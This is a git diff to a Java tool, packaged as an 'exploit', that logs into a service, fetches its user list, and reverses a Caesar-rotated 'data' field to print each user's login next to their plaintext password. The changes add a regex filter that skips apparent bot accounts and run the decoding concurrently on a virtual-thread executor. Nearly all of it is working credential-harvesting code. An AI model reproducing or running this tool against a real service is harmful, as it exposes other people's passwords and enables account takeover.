diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml index ec2d9bf..7f55eaf 100644 --- a/.idea/inspectionProfiles/Project_Default.xml +++ b/.idea/inspectionProfiles/Project_Default.xml @@ -2,7 +2,7 @@ \ No newline at end of file diff --git a/src/fr/motysten/usertwist/exploit/Main.java b/src/fr/motysten/usertwist/exploit/Main.java index f90780b..6d3d194 100644 --- a/src/fr/motysten/usertwist/exploit/Main.java +++ b/src/fr/motysten/usertwist/exploit/Main.java @@ -16,6 +16,7 @@ import java.security.NoSuchAlgorithmException; import java.util.Arrays; import java.util.HashMap; import java.util.Map; +import java.util.concurrent.ExecutionException; public class Main { @@ -26,8 +27,9 @@ public class Main { public static int rotation = 4; public static boolean asynchronous = true; public static Request requestClient; + public static boolean ignoreBots = true; - public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException { + public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException, ExecutionException { BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); requestClient = new Request(false); @@ -60,6 +62,10 @@ public class Main { readLine = reader.readLine(); if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);} + System.out.println("Do you want to ignore bot users ? [Y/n]"); + readLine = reader.readLine(); + if (readLine.equalsIgnoreCase("n")) {ignoreBots = false;} + JSONObject requestJSON = new JSONObject(); requestJSON.put("username", username); requestJSON.put("password", password); @@ -132,9 +138,9 @@ public class Main { float startTime = System.nanoTime(); if (asynchronous) { - Parser.asyncGetPass(usersArray, rotation); + Parser.asyncGetPass(usersArray, rotation, ignoreBots); } else { - Parser.getPass(usersArray, rotation); + Parser.getPass(usersArray, rotation, ignoreBots); } float elapsedTime = (System.nanoTime() - startTime) / 1000000; System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms"); diff --git a/src/fr/motysten/usertwist/exploit/tools/Parser.java b/src/fr/motysten/usertwist/exploit/tools/Parser.java index 79a525e..abb971f 100644 --- a/src/fr/motysten/usertwist/exploit/tools/Parser.java +++ b/src/fr/motysten/usertwist/exploit/tools/Parser.java @@ -3,35 +3,54 @@ package fr.motysten.usertwist.exploit.tools; import org.json.JSONArray; import org.json.JSONObject; +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.Future; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + public class Parser { - public static void getPass(JSONArray usersArray, int rotation) { - for (int i = 0; i < usersArray.length(); i++) { - JSONObject user = usersArray.getJSONObject(i); - String login = user.getString("username"); - String password = Cesar.rotate(user.getString("data"), rotation); + private static final String regex = "(^[A-Z][A-Za-z]+[0-9][A-Z])|(^.*?([A-Z]|[0-9]{3}).*?[,?;.:/!§%*^¨$£+])"; + private static final Pattern pattern = Pattern.compile(regex); - System.out.println((i + 1) + ". " + login + " => " + password); + public static void getPass(JSONArray usersArray, int rotation, boolean ignoreBots) { + for (int i = 0; i < usersArray.length(); i++) { + parseJSON(usersArray, rotation, ignoreBots, i); } } - public static void asyncGetPass(JSONArray usersArray, int rotation) throws InterruptedException { + public static void asyncGetPass(JSONArray usersArray, int rotation, boolean ignoreBots) throws ExecutionException, InterruptedException { + + ExecutorService executor = Executors.newVirtualThreadPerTaskExecutor(); + List> threads = new ArrayList<>(); for (int i = 0; i < usersArray.length(); i++) { int finalI = i; - - Runnable r = () -> { - JSONObject user = usersArray.getJSONObject(finalI); - String login = user.getString("username"); - String password = Cesar.rotate(user.getString("data"), rotation); - - System.out.println((finalI + 1) + ". " + login + " => " + password); - }; - - Thread t = Thread.startVirtualThread(r); - t.join(); + Future t = executor.submit(() -> parseJSON(usersArray, rotation, ignoreBots, finalI)); + threads.add(t); + } + for (Future t : threads) { + if (t.get() != null) { + System.out.println(t.get()); + } } } + private static String parseJSON(JSONArray usersArray, int rotation, boolean ignoreBots, int finalI) { + JSONObject user = usersArray.getJSONObject(finalI); + String login = user.getString("username"); + String password = Cesar.rotate(user.getString("data"), rotation); + + final Matcher matcher = pattern.matcher(password); + if (!matcher.matches() || !ignoreBots) { + return (finalI + 1) + ". " + login + " => " + password; + } + return null; + } + }